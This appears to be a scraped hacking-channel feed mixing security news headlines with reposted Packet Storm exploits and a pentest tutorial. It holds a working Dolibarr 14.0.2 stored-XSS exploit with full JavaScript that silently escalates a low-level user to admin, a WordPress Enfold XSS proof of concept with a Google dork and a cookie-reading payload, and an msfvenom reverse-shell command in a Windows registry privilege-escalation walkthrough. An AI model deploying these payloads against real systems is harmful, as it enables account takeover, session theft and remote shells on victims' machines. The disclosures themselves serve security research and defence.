Hacking on Medium
Text-based Diagraming in Writing Technical Documentation

https://cdn-images-1.medium.com/max/1920/1*lBa4FaMiiR-V3lSwuSPCyg.jpeg
Explore open-source solutions for writing technical documentation with diagrams.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
“A Sleeper’s Truth,” Chapter 37

https://cdn-images-1.medium.com/max/1400/0*sCn7IYgTomLtsKju
A novel about a cab driver and an illegal Mexican immigrant

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Dolibarr ERP / CRM 14.0.2 Cross Site Scripting / Privilege Escalation

https://4.bp.blogspot.com/-zX4owX_f6gA/WWlvEjBsFTI/AAAAAAAAILA/L-jpFLkKi_AyIykovxrESAdO3HPxIIp7QCLcBGAs/s1600/h132.png
Dolibarr ERP and CRM 14.0.2 suffers from a persistent cross site scripting vulnerability that enables privilege escalation.

MD5 | 5b352ca021c58bad4e863d0e152f8840

Download
# Exploit Title: Dolibarr ERP & CRM v14.0.2 Stored XSS / Privilege Escalation
# Exploit Author: Oscar Gutierrez (m4xp0w3r)
# Date: October 9, 2021
# Vendor Homepage: https://www.dolibarr.org/
# Software Link: https://github.com/Dolibarr
# Tested on: Ubuntu, LAAMP
# Vendor: Dolibarr
# Version: v14.0.2
# Exploit Description:
# Dolibarr ERP & CRM v14.0.2 suffers from a stored XSS vulnerability in the ticket creation flow that allows a low level user (with full access to the Tickets module) to achieve full permissions. For this attack vector to work, an administrator user needs to copy the text in the "message" box.
# Instructions:
#1. Insert this payload in the message box when creating a ticket: ">test
#
#2. Host this file (Change the extension of the file to js and remove comments) in a remote http location of your preference.
#NOTE: The user id in /dolibarr/htdocs/user/perms.php?id=2 may vary depending on the installation so you might have to change this. In my case, I had only 2 users, user 2 being the low level user.
#
#3.Once an administrator user copies the text within the ticket the attack will launch.

function read_body(xhr) {

var data = xhr.responseXML;
var tokenizedUrl = data.getElementsByClassName("reposition commonlink")[0].href;
console.log(tokenizedUrl);
return tokenizedUrl;

}

function escalatePrivs() {
var url = read_body(xhr);
var http = new XMLHttpRequest();
http.open('GET', url);
http.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
return;
}
};
http.send(null);
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
read_body(xhr);
escalatePrivs(xhr);
}
}
xhr.open('GET', '/dolibarr/htdocs/user/perms.php?id=2', true);

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Enfold Theme 4.8.3 Cross Site Scripting

https://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png
WordPress Enfold theme version 4.8.3 suffers from a cross site scripting vulnerability.

MD5 | d9d1878c1ba91b823f24f56e988af8c6

Download
# Exploit Title: WordPress Theme Enfold 4.8.3 - Reflected Cross-Site Scripting (XSS)
# Google Dork: "inurl:avia-element-paging"
# Date: 18/10/2021
# Exploit Author: Francisco Díaz-Pache Alonso, Sergio Corral Cristo and David Álvarez Robles
# Vendor Homepage: https://kriesi.at/
# Version: Enfold < 4.8.4 (all versions)
# Tested on: Ubuntu
# CVE : CVE-2021-24719

# Full disclosure and PoC on: https://blog.asturhackers.es/cross-site-scripting-xss-reflejado-en-tema-enfold-4-8-4-para-wordpress

While navigating on WordPress sites with Enfold Theme previous than 4.8.4 version and Avia Page Builder, string “ProofOfConcept” can be reflected literally on pagination numbers. Moreover, the parameter “avia-element-paging” appears and can be used for crafting Google Dork based searches.

https://[hostname]/[path]?ProofOfConcept --> This URL must include pages shown by Enfold theme

Changing the “ProofOfConcept” text with a Cross-Site-Scripting (XSS) payload, the page processes and executes it. This is a reflected Cross-Site-Scripting (XSS) vulnerability. Find the following URL that includes the malicious payload.

https://[hostname]/[path]/?%2527%253E%253Cscript%253Eeval%2528atob%2528%2522Y29uc29sZS5sb2coZG9j --> This URL must include pages shown by Enfold theme

Payload (double encoded): this payload is double encoded in the URL from:
'>

Payload (base64): the “atob” payload is Base64 encoded from:
console.log(document.cookie)

Navigating to the crafted URL, the console log displays some cookies that are used by the affected site (i.e. cookies with no “HttpOnly” flag set). However, the payload can be easily configurable.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Motorcycle (Bike) Rental System 1.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: Weak Registry Permission

Microsoft Windows offers a wide range of fine-grained permissions and privileges for controlling access to Windows components including services, files, and registry entries. Exploiting misconfigured services is one technique to increase privileges.

Table of ContentIntroductionIntroductionThe registry is a system-defined database in which applications and system components store and retrieve configuration data. The registry is a hierarchical database that contains data that is critical for the operation of Windows and the applications and services that run on Windows.You can use Registry Editor to do the following actions:* Locate a subtree, key, subkey, or valueRegistry HiveA hive is a logical group of keys, subkeys, and values in the registry that has a set of supporting files loaded into memory when the operating system is started or a user logs in. Note:Each time a new user logs on to a computer, a new hive is created for that user with a separate file for the user profile. This is called the user profile hive. A user's hive contains specific registry information pertaining to the user's application settings, desktop, environment, network connections, and printers. User profile hives are located under the HKEY_USERS key.Most of the supporting files for the hives are in the %SystemRoot%\System32\Config directory. These files are updated each time a user logs on.Weak Registry PermissionMitre ID:T1574.011Tactics:Privilege Escalation & PersistencePlatforms:WindowsPrerequisiteWindows 10Attacker Machine:Kali LinuxTools: SubinACL, PowerUP.ps1, Winpeas.Compromise the target machine with low privilege access either using Metasploit or Netcat, etc.Objective:Escalate the NT Authority /SYSTEM privileges for a low privileged user by exploiting the Weak Registry Key. Lab SetupRun CMD as administrator and execute the below command to create a [...]

___________________________
@hacking_Attack
@Hacking_Video

service with the name of Pentest inside /temp directory.sc.exe create pentest binPath= "C:\temp\service.exe" pentest /grant=msedgewin10\ignite=PTOTo create a vulnerable service we need to assign some toxic privilege with the help of SubinACLto change the permission of services.NOTE:SubInACL is a little-known command-line tool from Microsoft, yet it is one of the best tools to work with security permissions in Windows. This tool is capable of changing the permissions of files, folders, registry keys, services, printers, cluster shares and various other types of objects.In this case, we have granted a user permissions to suspend (pause/continue), start and stop (restart) a service. The full list of the available service permissions:Step3:After downloading SubinACL, execute the following command to assign PTO Permissions user “ignite” against “Pentest” service.cd C:\Program Files (x86)\Windows Resource Kits\Tools pentest /grant=msedgewin10\ignite=PTOStep4: Explore registry pathHKLM\SYSTEM\CurrentControlSet\Services\pentest and change permission for it.

Step5:Allow FULL Control on Authenticate user.Abusing Weak Registry ServicesAn attacker can escalate privileges by exploiting Weak Registry permission if the current user has permission to alter Registry keys associated with the service.Enumerate Vulnerable Registry key using PowershellWith the help of PowerShell, you check the Access Control List (ACL) to enumerate the user privileges full [...]

___________________________
@hacking_Attack
@Hacking_Video

control upon the service registry key.Enumerate Vulnerable Registry key using WinPEASx64Even, using auto script WinPEASx64 we enumerate weak service registry which is another method post enumeration for weak configuration.Create Malicious Executable If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. msfvenom –p window/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > shell.exehttps://blogger.googleusercontent.com/img/a/AVvXsEjjj8oQFj8yDclkgn0FmHJok6Jxu9fYaMroYKoCoBt4FQx4geQQe92rxEIx8PQ7GCyJeOd5e7AlxVnWcPIpcP1lSoiIULET1UBcxXpSInADiCfTNFYvsAVuAZtowxokHYh1PsZZndFGNNkvdIdPOXKf_CsprnlzGLmi3otcFqJRXf2i2UOpfTya55Tysg=s16000 cd c:\Users\public___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Damages Escalate Rapidly in Multi-Party Data Breaches

Analysis of the top-50 multi-party attacks over the past decade finds that nation-state-linked hackers focused on disruption and using stolen credentials cause the most damage.

Dark Reading: Attacks/Breaches
The Simmering Cybersecurity Risk of Employee Burnout

Why understanding human behavior is essential to building resilient security systems.

Dark Reading: Attacks/Breaches
Veritas Simplifies Data Backup to the Cloud While Helping Reduce Costs and Increase Ransomware Resiliency

Introducing Veritas NetBackup Recovery Vault, a Veritas-managed cloud storage service.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Data Privacy API Company Skyflow Raises $45M Series B Funding to Help Fintech and Healthtech Companies Ship Faster

Achieves 8x growth in last three quarters, and raises $70M in less than 18 months.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Former NSA Deputy Director William Crowell Joins [redacted] Board of Directors

Cybersecurity industry veteran brings substantial public and private sector experience to help guide [redacted] growth and expansion.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Winners Announced for 2021 Infosec Inspire Security Awareness Awards

Institute of International Education and Inflection Point Systems recognized for their advanced security awareness and training programs.

___________________________
@hacking_Attack
@Hacking_Video

From ‘Gabut’ to Hall of Fame: U.S. Department of Energy
https://medium.com/@authxi/from-gabut-to-hall-of-fame-u-s-department-of-energy-917ce8792e19?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video